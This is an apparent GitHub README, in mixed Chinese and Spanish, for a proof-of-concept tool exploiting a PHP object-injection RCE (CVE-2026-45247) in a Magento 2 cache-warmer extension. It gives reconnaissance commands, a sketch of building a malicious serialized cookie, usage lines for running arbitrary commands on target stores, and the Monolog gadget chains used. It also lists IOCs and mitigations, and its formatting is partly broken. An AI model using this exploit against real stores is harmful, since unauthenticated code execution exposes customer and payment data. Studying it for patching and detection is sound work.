fevar54/PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-

GitHub: fevar54/PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-

针对 Magento 2 Mirasvit Cache Warmer 扩展 PHP 反序列化导致 RCE 漏洞(CVE-2026-45247)的概念验证利用工具。

Stars: 0 | Forks: 0

# CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 - PHP Object Injection → RCE [![CVE-2026-45247](https://img.shields.io/badge/CVE-2026--45247-critical)](https://nvd.nist.gov/vuln/detail/CVE-2026-45247) [![CVSS](https://img.shields.io/badge/CVSS-9.8%20(Critical)-red)](https://www.first.org/cvss/calculator/3.1) [![CISA KEV](https://img.shields.io/badge/CISA%20KEV-Active%20Exploitation-red)](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) ## 📋 描述 **CVE-2026-45247** 是存在于 Magento 2 和 Adobe Commerce 扩展 **Mirasvit Full Page Cache Warmer** 中的一个严重的 **PHP Object Injection** 漏洞。未经身份验证的攻击者可以通过在 `CacheWarmer` cookie 中发送经过篡改的序列化 PHP 对象来实现 **远程代码执行 (RCE)**。 该漏洞的根源在于不受限制地调用了 PHP 原生的 `unserialize()` 函数,并结合了 Magento 及其依赖项(尤其是 Monolog)中可用的 gadget chain。 | 属性 | 值 | |---|---| | **CVE** | CVE-2026-45247 | | **产品** | Mirasvit Full Page Cache Warmer for Magento 2 | | **受影响版本** | 所有 **早于 1.11.12** 的版本 | | **可用补丁** | 版本 1.11.12(2026 年 5 月 25 日) | | **CVSS Score** | 9.8(严重) | | **向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **CISA KEV 状态** | 已确认被积极利用(于 2026 年 6 月 3 日添加) | | **截止日期** | 2026 年 6 月 6 日 | ## 🚨 攻击机制 1. 该扩展会处理**每次商店请求**中的 `CacheWarmer` cookie 2. cookie 的值在未经任何清理的情况下被传递给 `unserialize()` 3. 攻击者发送一个恶意的序列化 PHP 对象 4. 利用 Monolog(`SyslogUdpHandler`、`BufferHandler`、`FingersCrossedHandler`)的 gadget chain,实现 RCE 5. 命令以 Web 服务的权限在服务器上执行 ## ⚙️ 攻击阶段 ### 阶段 1:侦察 ``` # 检查商店是否使用 Mirasvit Cache Warmer curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md Fase 2: Análisis de Vulnerabilidad python # 该 cookie 在每次未经身份验证的 request 中被处理 # Mirasvit 中的漏洞代码: $cookieValue = $_COOKIE['CacheWarmer']; $data = unserialize(base64_decode($cookieValue)); # ¡Peligro! Fase 3: Ejecución del Exploit python # 构建恶意 cookie payload = serialize(PHPObjectInjection()) cookie_value = f"CacheWarmer:{base64_encode(payload)}" # 发送请求 requests.get(target, cookies={'CacheWarmer': cookie_value}) 🛠️ Uso del PoC Instalación bash git clone https://github.com/tu-usuario/CVE-2026-45247.git cd CVE-2026-45247 pip install requests Ejecución Básica bash # 验证漏洞 python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only # 执行命令 'id' python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id" # 执行自定义命令 python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami" # 使用 proxy 进行调试 python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080 Script Rápido bash # 使用 bash script 验证 chmod +x check_cve_2026_45247.sh ./check_cve_2026_45247.sh https://tienda.ejemplo.com 📊 Impacto Demostrado Ejecución remota de comandos (RCE) en el servidor Magento Acceso completo a la base de datos de clientes y pedidos Instalación de webshells para persistencia Compromiso total de la tienda en línea Potencial filtración de datos de tarjetas de crédito Movimiento lateral en la infraestructura corporativa 🛡️ Detección Indicadores de Compromiso (IOCs) En logs de acceso: text CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+ Comandos observados en explotación: bash echo PWNED_CVE2026_$(date +%s) sleep 5 Gadget chains utilizadas: Monolog\Handler\SyslogUdpHandler Monolog\Handler\BufferHandler Monolog\Handler\FingersCrossedHandler Monolog\Handler\GroupHandler 🔧 Mitigación Actualización Inmediata bash # 更新到已修补版本 composer require mirasvit/module-cache-warmer:1.11.12 bin/magento cache:flush Mitigaciones Temporales nginx # 在 .htaccess 或 nginx 中拦截 CacheWarmer cookie RewriteCond %{HTTP_COOKIE} CacheWarmer RewriteRule .* - [F,L] php // En app/code/local/Custom/BlockCookie.php if (isset($_COOKIE['CacheWarmer'])) { unset($_COOKIE['CacheWarmer']); } ```
标签:CVE, Go语言工具, PHP对象注入, RCE, Web安全, 应用安全, 数字签名, 蓝队分析, 逆向工具